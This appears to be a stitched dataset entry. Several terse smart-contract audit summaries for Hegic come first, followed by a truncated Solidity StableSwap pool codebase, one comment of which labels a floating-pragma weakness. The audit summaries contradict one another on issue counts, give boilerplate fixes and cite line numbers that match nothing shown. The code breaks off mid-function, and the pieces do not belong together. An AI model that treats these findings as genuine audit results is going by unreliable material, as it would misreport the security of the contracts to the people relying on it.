Issues Count of Minor/Moderate/Major/Critical - Minor: 3 - Moderate: 2 - Major: 1 - Critical: 1 Minor Issues 2.a Problem: Inconsistent implementation of _calculatePeriodFee() (Line 11) 2.b Fix: Replace the existing implementation with the one specified in the design document (Line 12) Moderate Issues 3.a Problem: Non-functional logic of HegicStakeAndCover::provide() (Line 13) 3.b Fix: Replace the existing logic with the one specified in the design document (Line 14) Major Issues 4.a Problem: Arithmetic underflow avoidance in HegicOperationalTreasury::_replenish() (Line 15) 4.b Fix: Replace the existing logic with the one specified in the design document (Line 16) Critical Issues 5.a Problem: Incorrect lockedPremium update in HegicOperationalTreasury::lockLiquidityFor() (Line 17) 5.b Fix: Replace the existing logic with the one specified in the design document (Line 18) Observations - The smart contract Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: The code does not check the return value of the transfer function. (Line 545 of Options/Options.sol) 2.b Fix: Added a check for the return value of the transfer function. (Line 545 of Options/Options.sol) Major: None Critical: None Observations: The Hegic protocol provides a valuable instrument to hedge risks and control excessive exposure from market fluctuation and dynamics, therefore presenting a unique contribution to current DeFi ecosystem. Conclusion: The audit of Hegic HardCore Beta was conducted by PeckShield Inc. and no major or critical issues were found. The code was found to be secure and the protocol provides a valuable instrument to hedge risks and control excessive exposure from market fluctuation and dynamics. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 0 Observations: - No issues were identified. Conclusion: - The contract is considered safe regarding the check items.
pragma solidity ^0.5.11; import "@openzeppelin/contracts/ownership/Ownable.sol"; /** * @title OwnerPausable * @notice An ownable contract allows the owner to pause and unpause the * contract without a delay. * @dev Only methods using the provided modifiers will be paused. */ contract OwnerPausable is Ownable { event Paused(); event Unpaused(); bool paused = false; /** * @notice Pause the contract. Revert if already paused. */ function pause() external onlyOwner onlyUnpaused { paused = true; emit Paused(); } /** * @notice Unpause the contract. Revert if already unpaused. */ function unpause() external onlyOwner onlyPaused { paused = false; emit Unpaused(); } /** * @notice Revert if the contract is paused. */ modifier onlyUnpaused() { require(!paused, "Method can only be called when unpaused"); _; } /** * @notice Revert if the contract is unpaused. */ modifier onlyPaused() { require(paused, "Method can only be called when paused"); _; } } pragma solidity ^0.5.11; interface CERC20 { function mint(uint256) external returns (uint256); function exchangeRateCurrent() external returns (uint256); function supplyRatePerBlock() external returns (uint256); function redeem(uint) external returns (uint); function redeemUnderlying(uint) external returns (uint); function balanceOfUnderlying(address account) external view returns (uint); } library CERC20Utils { function getUnderlyingBalances(address[] storage cTokens, address account) external view returns (uint256[] memory) { uint256[] memory balances = new uint256[](cTokens.length); for (uint i = 0; i<balances.length; i++) { if (cTokens[i] != address(0)) { balances[i] = CERC20(cTokens[i]).balanceOfUnderlying(account); } } return balances; } } pragma solidity ^0.5.11; import "@openzeppelin/contracts/math/SafeMath.sol"; library MathUtils { using SafeMath for uint256; function within1(uint a, uint b) external pure returns (bool) { if (a > b) { if (a.sub(b) <= 1) { return true; } } else { if (b.sub(a) <= 1) { return true; } } return false; } function difference(uint a, uint b) external pure returns (uint256) { if (a > b) { return a.sub(b); } return b.sub(a); } } // Generalized and adapted from https://github.com/k06a/Unipool 🙇 pragma solidity ^0.5.11; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title StakeableTokenWrapper * @notice A wrapper for an ERC-20 that can be staked and withdrawn. * @dev In this contract, staked tokens don't do anything- instead other * contracts can inherit from this one to add functionality. */ contract StakeableTokenWrapper { using SafeERC20 for IERC20; using SafeMath for uint256; IERC20 public stakedToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor(IERC20 _stakedToken) public { stakedToken = _stakedToken; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function stake(uint256 amount) external { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakedToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) external { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakedToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } } pragma solidity ^0.5.11; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; interface IAllowlist { function getAllowedAmount(address poolAddress, address user) external view returns (uint256); function getPoolCap(address poolAddress) external view returns (uint256); } contract Allowlist is Ownable, IAllowlist { using SafeMath for uint256; uint256 public constant DENOMINATOR = 1e3; mapping(address => uint256) multipliers; mapping(address => uint256) poolCaps; mapping(address => uint256) accountLimits; event PoolCap(address indexed poolAddress, uint256 poolCap); event PoolAccountLimit(address indexed poolAddress, uint256 accountLimit); /** * @notice Returns stored allowed amount for the user at the given pool address. * @param poolAddress address of the pool * @param user address of the user */ function getAllowedAmount(address poolAddress, address user) external view returns (uint256) { return accountLimits[poolAddress].mul(multipliers[user]).div(DENOMINATOR); } /** * @notice Returns the TVL cap for given pool address. * @param poolAddress address of the pool */ function getPoolCap(address poolAddress) external view returns (uint256) { return poolCaps[poolAddress]; } // ADMIN FUNCTIONS /** * @notice Set multipliers for given addresses * @param addressArray array of addresses * @param multiplierArray array of multipliers for respective addresses * (multiplier set to 1000 equals 1.000x) */ function setMultipliers(address[] calldata addressArray, uint256[] calldata multiplierArray) external onlyOwner { require(addressArray.length == multiplierArray.length, "Array lengths are different"); for (uint256 i = 0; i < multiplierArray.length; i++) { multipliers[addressArray[i]] = multiplierArray[i]; } } /** * @notice Set account limit of allowed deposit amounts for the given pool * @param poolAddress address of the pool * @param accountLimit base amount to be used for calculating allowed amounts of each user */ function setPoolAccountLimit(address poolAddress, uint256 accountLimit) external onlyOwner { accountLimits[poolAddress] = accountLimit; emit PoolAccountLimit(poolAddress, accountLimit); } /** * @notice Set the TVL cap for given pool address * @param poolAddress address of the pool * @param poolCap TVL cap amount - limits the totalSupply of the pool token */ function setPoolCap(address poolAddress, uint256 poolCap) external onlyOwner { poolCaps[poolAddress] = poolCap; emit PoolCap(poolAddress, poolCap); } } pragma solidity ^0.5.11; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; contract LPToken is ERC20, ERC20Detailed, ERC20Burnable, Ownable { constructor (string memory name_, string memory symbol_, uint8 decimals_ ) public ERC20Detailed(name_, symbol_, decimals_) {} function mint(address recipient, uint256 amount) external onlyOwner { _mint(recipient, amount); } } pragma solidity ^0.5.11; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./OwnerPausable.sol"; import "./SwapUtils.sol"; import "./MathUtils.sol"; import "./Allowlist.sol"; contract Swap is OwnerPausable, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; using SwapUtils for SwapUtils.Swap; SwapUtils.Swap public swapStorage; IAllowlist public allowlist; bool public isGuarded = true; /*** EVENTS ***/ // events replicated fromm SwapUtils to make the ABI easier for dumb // clients event TokenSwap(address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity(address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity(address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne(address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance(address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); /** * @param _pooledTokens an array of ERC20s this pool will accept * @param precisions the precision to use for each pooled token, * eg 10 ** 8 for WBTC. Cannot be larger than POOL_PRECISION * @param lpTokenName, the long-form name of the token to be deployed * @param lpTokenSymbol, the short symbol for the token to be deployed * @param _A the the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param _withdrawFee default withdrawFee to be initliazed with * @param _allowlist address of allowlist contract for guarded launch */ constructor( IERC20[] memory _pooledTokens, uint256[] memory precisions, string memory lpTokenName, string memory lpTokenSymbol, uint256 _A, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, IAllowlist _allowlist ) public OwnerPausable() ReentrancyGuard() { require( _pooledTokens.length <= 32, "Pools with over 32 tokens aren't supported" ); require( _pooledTokens.length == precisions.length, "Each pooled token needs a specified precision" ); for (uint i = 0; i < _pooledTokens.length; i++) { require( address(_pooledTokens[i]) != address(0), "The 0 address isn't an ERC-20" ); require( precisions[i] <= 10 ** uint256(SwapUtils.getPoolPrecisionDecimals()), "Token precision can't be higher than the pool precision" ); precisions[i] = (10 ** uint256(SwapUtils.getPoolPrecisionDecimals())).div(precisions[i]); } swapStorage = SwapUtils.Swap({ lpToken: new LPToken(lpTokenName, lpTokenSymbol, SwapUtils.getPoolPrecisionDecimals()), pooledTokens: _pooledTokens, tokenPrecisionMultipliers: precisions, balances: new uint256[](_pooledTokens.length), A: _A, swapFee: _fee, adminFee: _adminFee, defaultWithdrawFee: _withdrawFee }); allowlist = _allowlist; allowlist.getAllowedAmount(address(this), address(0)); // crude check of the allowlist contract address isGuarded = true; } /*** MODIFIERS ***/ /** * @notice Modifier to check deadline against current timestamp * @param deadline latest timestamp to accept this transaction */ modifier deadlineCheck(uint256 deadline) { require(block.timestamp <= deadline, "Deadline not met"); _; } /*** VIEW FUNCTIONS ***/ /** * @notice Return A, the the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details */ function getA() external view returns (uint256) { return swapStorage.getA(); } /** * @notice Return address of the pooled token at given index * @param index the index of the token */ function getToken(uint8 index) external view returns (IERC20) { return swapStorage.pooledTokens[index]; } /** * @notice Return timestamp of last deposit of given address */ function getDepositTimestamp(address user) external view returns (uint256) { return swapStorage.getDepositTimestamp(user); } /** * @notice Return current balance of the pooled token at given index * @param index the index of the token */ function getTokenBalance(uint8 index) external view returns (uint256) { return swapStorage.balances[index]; } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION */ function getVirtualPrice() external view returns (uint256) { return swapStorage.getVirtualPrice(); } /** * @notice calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @return amount of tokens the user will receive */ function calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns(uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * @dev This shouldn't be used outside frontends for user estimates. * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision * @param deposit whether this is a deposit or a withdrawal */ function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns(uint256) { return swapStorage.calculateTokenAmount(amounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * @param amount the amount of LP tokens that would be burned on * withdrawal */ function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) { return swapStorage.calculateRemoveLiquidity(amount); } /** * @notice calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount) { (availableTokenAmount, ) = swapStorage.calculateWithdrawOneToken(tokenAmount, tokenIndex); } /** * @notice calculate the fee that is applied when the given user withdraws * @dev returned value should be divided by FEE_DENOMINATOR to convert to correct decimals * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(address user) external view returns (uint256) { return swapStorage.calculateCurrentWithdrawFee(user); } /** * @notice return accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin's token balance in the token's precision */ function getAdminBalance(uint256 index) external view returns (uint256) { return swapStorage.getAdminBalance(index); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external nonReentrant onlyUnpaused deadlineCheck(deadline) { return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); } /** * @notice Add liquidity to the pool * @param amounts the amounts of each token to add, in their native * precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation */ function addLiquidity(uint256[] calldata amounts, uint256 minToMint, uint256 deadline) external nonReentrant onlyUnpaused deadlineCheck(deadline) { swapStorage.addLiquidity(amounts, minToMint); if (isGuarded) { // Check per user deposit limit require( allowlist.getAllowedAmount(address(this), msg.sender) >= swapStorage.lpToken.balanceOf(msg.sender), "Deposit limit reached" ); // Check pool's TVL cap limit via totalSupply of the pool token require( allowlist.getPoolCap(address(this)) >= swapStorage.lpToken.totalSupply(), "Pool TVL cap reached" ); } } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation */ function removeLiquidity(uint256 amount, uint256[] calldata minAmounts, uint256 deadline) external nonReentrant deadlineCheck(deadline) { return swapStorage.removeLiquidity(amount, minAmounts); } /** * @notice Remove liquidity from the pool all in one token. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external nonReentrant onlyUnpaused deadlineCheck(deadline) { return swapStorage.removeLiquidityOneToken(tokenAmount, tokenIndex, minAmount); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external nonReentrant onlyUnpaused deadlineCheck(deadline) { return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount); } /*** ADMIN FUNCTIONS ***/ /** * @notice withdraw all admin fees to the contract owner */ function withdrawAdminFees() external onlyOwner { swapStorage.withdrawAdminFees(owner()); } /** * @notice update the admin fee * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(uint256 newAdminFee) external onlyOwner { swapStorage.setAdminFee(newAdminFee); } /** * @notice update the swap fee * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(uint256 newSwapFee) external onlyOwner { swapStorage.setSwapFee(newSwapFee); } /** * @notice update the withdraw fee * @param newWithdrawFee new withdraw fee to be applied on future deposits */ function setDefaultWithdrawFee(uint256 newWithdrawFee) external onlyOwner { swapStorage.setDefaultWithdrawFee(newWithdrawFee); } /** * @notice update the guarded status of the pool deposits * @param isGuarded_ boolean value indicating whether the deposits should be guarded */ function setIsGuarded(bool isGuarded_) external onlyOwner { isGuarded = isGuarded_; } } //SWC-Floating Pragma: L2 pragma solidity ^0.5.11; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./LPToken.sol"; import "./MathUtils.sol"; library SwapUtils { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; /*** EVENTS ***/ event TokenSwap(address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity(address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity(address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne(address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance(address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); struct Swap { LPToken lpToken; // contract references for all tokens being pooled IERC20[] pooledTokens; // multipliers for each pooled token's precision to get to POOL_PRECISION // for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC // has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 uint256[] tokenPrecisionMultipliers; // the pool balance of each token, in the token's precision // the contract's actual token balance might differ uint256[] balances; // variables around the management of A, // the amplification coefficient * n * (n - 1) // see https://www.curve.fi/stableswap-paper.pdf for details uint256 A; // fee calculation uint256 swapFee; uint256 adminFee; uint256 defaultWithdrawFee; mapping(address => uint256) depositTimestamp; mapping(address => uint256) withdrawFeeMultiplier; } // the precision all pools tokens will be converted to uint8 constant POOL_PRECISION_DECIMALS = 18; // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 constant FEE_DENOMINATOR = 10 ** 10; // Max swap fee is 1% or 100bps of each swap uint256 constant MAX_SWAP_FEE = 10 ** 8; // Max adminFee is 100% of the swapFee // adminFee does not add additional fee on top of swapFee // Instead it takes a certain % of the swapFee. Therefore it has no impact on the // users but only on the earnings of LPs uint256 constant MAX_ADMIN_FEE = 10 ** 10; // Max withdrawFee is 1% of the value withdrawn // Fee will be redistributed to the LPs in the pool, rewarding // long term providers. uint256 constant MAX_WITHDRAW_FEE = 10 ** 8; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Return A, the the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details */ function getA(Swap storage self) public view returns (uint256) { return self.A; } /** * @notice Return POOL_PRECISION_DECIMALS, precision decimals of all pool tokens * to be converted to */ function getPoolPrecisionDecimals() public pure returns (uint8) { return POOL_PRECISION_DECIMALS; } /** * @notice Return timestamp of last deposit of given address */ function getDepositTimestamp(Swap storage self, address user) public view returns (uint256) { return self.depositTimestamp[user]; } /** * @notice calculate the dy and fee of withdrawing in one token * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @return the dy and the associated fee */ function calculateWithdrawOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex ) public view returns(uint256, uint256) { uint256 dy; uint256 newY; (dy, newY) = calculateWithdrawOneTokenDY(self, tokenIndex, tokenAmount); // dy_0 (without fees) // dy, dy_0 - dy return (dy, _xp(self)[tokenIndex].sub(newY).div( self.tokenPrecisionMultipliers[tokenIndex]).sub(dy)); } /** * @notice Calculate the dy of withdrawing in one token * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @return the d and the new y after withdrawing one token */ function calculateWithdrawOneTokenDY( Swap storage self, uint8 tokenIndex, uint256 tokenAmount ) internal view returns(uint256, uint256) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256 D0 = getD(_xp(self), getA(self)); uint256 D1 = D0.sub(tokenAmount.mul(D0).div(self.lpToken.totalSupply())); uint256[] memory xpReduced = _xp(self); uint256 newY = getYD(getA(self), tokenIndex, xpReduced, D1); for (uint i = 0; i<self.pooledTokens.length; i++) { uint256 xpi = _xp(self)[i]; // if i == tokenIndex, dxExpected = xp[i] * D1 / D0 - newY // else dxExpected = xp[i] - (xp[i] * D1 / D0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = xpReduced[i].sub( ((i == tokenIndex) ? xpi.mul(D1).div(D0).sub(newY) : xpi.sub(xpi.mul(D1).div(D0)) ).mul(feePerToken(self)).div(FEE_DENOMINATOR)); } uint256 dy = xpReduced[tokenIndex].sub( getYD(getA(self), tokenIndex, xpReduced, D1)); dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, newY); } /** * @notice Calculate the price of a token in the pool given * precision-adjusted balances and a particular D * and precision-adjusted array of balances. * @dev This is accomplished via solving the quadratic equation * iteratively. See the StableSwap paper and Curve.fi * implementation for details. * @param _A the the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param tokenIndex which token we're calculating * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool * @param D the stableswap invariant * @return the price of the token, in the same precision as in xp */ function getYD(uint256 _A, uint8 tokenIndex, uint256[] memory xp, uint256 D) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, "Token not found"); uint256 c = D; uint256 s = 0; uint256 nA = _A.mul(numTokens); uint256 cDivider = 1; for (uint i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(D); cDivider = cDivider.mul(xp[i]).mul(numTokens); } else { continue; } } c = c.mul(D).div(nA.mul(numTokens).mul(cDivider)); uint256 b = s.add(D.div(nA)); uint256 yPrev = 0; uint256 y = D; for (uint i = 0; i<256; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(D)); if(y.within1(yPrev)) { break; } } return y; } /** * @notice Get D, the StableSwap invariant, based on a set of balances * and a particular A * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool * @param _A the the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @return The invariant, at the precision of the pool */ function getD(uint256[] memory xp, uint256 _A) internal pure returns (uint256) { uint256 numTokens = xp.length; uint256 s = 0; for (uint i = 0; i < numTokens; i++) { s = s.add(xp[i]); } if (s == 0) { return 0; } uint256 prevD = 0; uint256 D = s; uint256 nA = _A.mul(numTokens); for (uint i = 0; i < 256; i++) { uint256 dP = D; for (uint j = 0; j < numTokens; j++) { dP = dP.mul(D).div(xp[j].mul(numTokens).add(1)); } prevD = D; D = nA.mul(s).add(dP.mul(numTokens)).mul(D).div( nA.sub(1).mul(D).add(numTokens.add(1).mul(dP))); if (D.within1(prevD)) { break; } } return D; } /** * @notice Get D, the StableSwap invariant, based on self Swap struct * @return The invariant, at the precision of the pool */ function getD(Swap storage self) internal view returns (uint256) { return getD(_xp(self), getA(self)); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. * @dev * @param _balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the _balances array. When multiplied together they * should yield amounts at the pool's precision. * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory _balances, uint256[] memory precisionMultipliers ) internal pure returns (uint256[] memory) { uint256 numTokens = _balances.length; require( numTokens == precisionMultipliers.length, "Balances must map to token precision multipliers" ); uint256[] memory xp = _balances; for (uint i = 0; i < numTokens; i++) { xp[i] = xp[i].mul(precisionMultipliers[i]); } return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self, uint256[] memory _balances) internal view returns (uint256[] memory) { return _xp(_balances, self.tokenPrecisionMultipliers); } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self) internal view returns (uint256[] memory) { return _xp(self.balances, self.tokenPrecisionMultipliers); } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION */ function getVirtualPrice(Swap storage self) external view returns (uint256) { uint256 D = getD(_xp(self), getA(self)); uint256 supply = self.lpToken.totalSupply(); return D.mul(10 ** uint256(getPoolPrecisionDecimals())).div(supply); } /** * @notice Calculate the balances of the tokens to send to the user * after given amount of pool token is burned. * @param amount Amount of pool token to burn * @return balances of the tokens to send to the user */ function calculateRebalanceAmounts(Swap storage self, uint256 amount) internal view returns(uint256[] memory) { uint256 tokenSupply = self.lpToken.totalSupply(); uint256[] memory amounts = new uint256[](self.pooledTokens.length); for (uint i = 0; i < self.pooledTokens.length; i++) { amounts[i] = self.balances[i].mul(amount).div(tokenSupply); } return amounts; } /** * @notice Calculate the new balances of the tokens given the indexes of the token * that is swapped from (FROM) and the token that is swapped to (TO). * This function is used as a helper function to calculate how much TO token * the user should receive on swap. * @param tokenIndexFrom index of FROM token * @param tokenIndexTo index of TO token * @param x the new total amount of FROM token * @param xp balances of the tokens in the pool * @return the amount of TO token that should remain in the pool */ function getY( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp ) internal view returns (uint256) { uint256 numTokens = self.pooledTokens.length; require(tokenIndexFrom != tokenIndexTo, "Can't compare token to itself"); require( tokenIndexFrom < numTokens && tokenIndexTo < numTokens, "Tokens must be in pool" ); uint256 _A = getA(self); uint256 D = getD(xp, _A); uint256 c = D; uint256 s = 0; uint256 nA = numTokens.mul(_A); uint256 cDivider = 1; uint256 _x = 0; for (uint i = 0; i < numTokens; i++) { if (i == tokenIndexFrom) { _x = x; } else if (i != tokenIndexTo) { _x = xp[i]; } else { continue; } s = s.add(_x); c = c.mul(D); cDivider = cDivider.mul(_x).mul(numTokens); } c = c.mul(D).div(nA.mul(numTokens).mul(cDivider)); uint256 b = s.add(D.div(nA)); uint256 yPrev = 0; uint256 y = D; // iterative approximation for (uint i = 0; i < 256; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(D)); if (y.within1(yPrev)) { break; } } return y; } /** * @notice Externally calculates a swap between two tokens. * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell * @return dy the number of tokens the user will get */ function calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns(uint256 dy) { (dy, ) = _calculateSwap(self, tokenIndexFrom, tokenIndexTo, dx); } /** * @notice Internally calculates a swap between two tokens. * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell * @return dy the number of tokens the user will get * @return dyFee the associated fee */ function _calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) internal view returns(uint256 dy, uint256 dyFee) { uint256[] memory xp = _xp(self); uint256 x = dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]).add( xp[tokenIndexFrom]); uint256 y = getY(self, tokenIndexFrom, tokenIndexTo, x, xp); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(self.tokenPrecisionMultipliers[tokenIndexTo]); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * @param amount the amount of LP tokens that would to be burned on * withdrawal */ function calculateRemoveLiquidity(Swap storage self, uint256 amount) external view returns (uint256[] memory) { uint256 totalSupply = self.lpToken.totalSupply(); uint256[] memory amounts = new uint256[](self.pooledTokens.length); for (uint i = 0; i < self.pooledTokens.length; i++) { amounts[i] = self.balances[i].mul(amount).div(totalSupply); } return amounts; } /** * @notice calculate the fee that is applied when the given user withdraws * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(Swap storage self, address user) public view returns (uint256) { uint256 endTime = self.depositTimestamp[user].add(4 weeks); if (endTime > block.timestamp) { uint256 timeLeftover = endTime - block.timestamp; return self.defaultWithdrawFee .mul(self.withdrawFeeMultiplier[user]) .mul(timeLeftover) .div(4 weeks) .div(FEE_DENOMINATOR); } else { return 0; } } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * @dev This shouldn't be used outside frontends for user estimates. * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision * @param deposit whether this is a deposit or a withdrawal */ function calculateTokenAmount( Swap storage self, uint256[] calldata amounts, bool deposit ) external view returns(uint256) { uint256 numTokens = self.pooledTokens.length; uint256 _A = getA(self); uint256 D0 = getD(_xp(self, self.balances), _A); uint256[] memory balances1 = self.balances; for (uint i = 0; i < numTokens; i++) { if (deposit) { balances1[i] = balances1[i].add(amounts[i]); } else { balances1[i] = balances1[i].sub(amounts[i]); } } uint256 D1 = getD(_xp(self, balances1), _A); uint256 totalSupply = self.lpToken.totalSupply(); return (deposit ? D1.sub(D0) : D0.sub(D1)).mul(totalSupply).div(D0); } /** * @notice return accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin balance in the token's precision */ function getAdminBalance(Swap storage self, uint256 index) external view returns (uint256) { return self.pooledTokens[index].balanceOf(address(this)) - self.balances[index]; } /** * @notice internal helper function to calculate fee per token multiplier used in * swap fee calculations */ function feePerToken(Swap storage self) internal view returns(uint256) { return self.swapFee.mul(self.pooledTokens.length).div( self.pooledTokens.length.sub(1).mul(4)); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. */ function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external { (uint256 dy, uint256 dyFee) = _calculateSwap(self, tokenIndexFrom, tokenIndexTo, 